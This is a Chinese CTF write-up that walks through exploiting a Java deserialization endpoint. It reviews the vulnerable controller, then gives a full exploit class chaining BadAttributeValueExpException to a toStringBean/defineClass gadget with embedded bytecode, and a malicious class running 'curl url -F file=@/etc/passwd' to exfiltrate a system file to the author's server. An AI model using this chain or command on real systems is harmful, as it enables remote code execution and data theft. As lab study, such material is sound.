最近刚刚入门java,找到这道题的wp,理解跟着复现下
首先看下index控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import com.ezgame.ctf.tools.Tools; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class IndexController { @ResponseBody @RequestMapping({"/"}) public String index(HttpServletRequest request, HttpServletResponse response) { return "index"; } @ResponseBody @RequestMapping({"/readobject"}) public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("gadgets") && year == 2021) objectInputStream.readObject(); return "welcome bro."; } }
首先分析下代码逻辑吧。使用了springboot框架,不过并没在代码里体现相关特性,算是晃一枪。然后题目设置了俩个路由,一个根目录一个readobject,看到readobject其实就很明显了,这是道序列化的题。 接着进入/readobject里看,定义了一个unser方法,要求传入data,内部逻辑会先对data进行base64解码,然后转换为字节流
1 2 3 byte[] b = Tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
接着要求name和year的值满足if判断,具体逻辑就不说了,很明显
1 2 3 4 String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("gadgets") && year == 2021) objectInputStream.readObject();
题目主要部分分析结束,看一下给的包
结果是空的,说明这道题要用java的原生类,继续看下题目有没有其他线索
题目里给了TostringBean类
该类里面有个toString方法,里面有个defineClass可用于加载动态字节码
所以我们需要找一个原生类通过调用readobject来调用tostring
正好CC5就有这种类BadAttributeValueExpException
这里直接看重点,不放出CC5全部代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class BadAttributeValueExpException extends Exception { private Object val; private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
可以看到代码最下面调用了valobj的tostring方法。valobj也是在上面通过get方法获得的,所以我们是可以通过反射来自由控制的。
整理思路写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com; import javax.management.BadAttributeValueExpException; import java.util.Base64; import java.io.*; import java.lang.reflect.Field; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; public class exp { public static byte[] serialize(Object o) throws Exception { try (ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout);) { oout.writeUTF("gadgets"); oout.writeInt(2021); oout.writeObject(o); return baout.toByteArray(); } } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args)throws Exception { BadAttributeValueExpException badAdv = new BadAttributeValueExpException(); toStringBean toStringBean = new toStringBean(); setFieldValue(badAdv,"val",toStringBean); byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA\n" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP\n" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0\n" + "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm\n" + "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y\n" + "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw\n" + "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp\n" + "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb\n" + "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB\n" + "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj\n" + "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z\n" + "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry\n" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n\n" + "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA\n" + "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA\n" + "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA\n" + "DwABABAAAAACABE="); byte[] bytes = serialize(badAdv); byte[] payload = Base64.getEncoder().encode(bytes); System.out.println(new String(payload)); } }
主要解释下main函数里的吧,因为这是做题且只能使用原生类,不能直接照搬cc5,所以直接采取上面的思路。 new一个BadAttributeValueExpException,然后去调用toStringBean里的toString,再去调用defineClass加载字节码,就能执行命令了。这里字节码还需要我们自己再写个恶意类去生成(为了便于理解,可以暂时将字节码理解java程序编译后生成的class文件里的东西)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com; import java.io.IOException; public class evil { public evil() { try{ String[] command = {"/bin/bash","-c","curl url -F file=@/etc/passwd"}; Runtime.getRuntime().exec(command); } catch (IOException e) { throw new RuntimeException(e); } } }
接下来在自己的服务器开个监听,直接打就行了。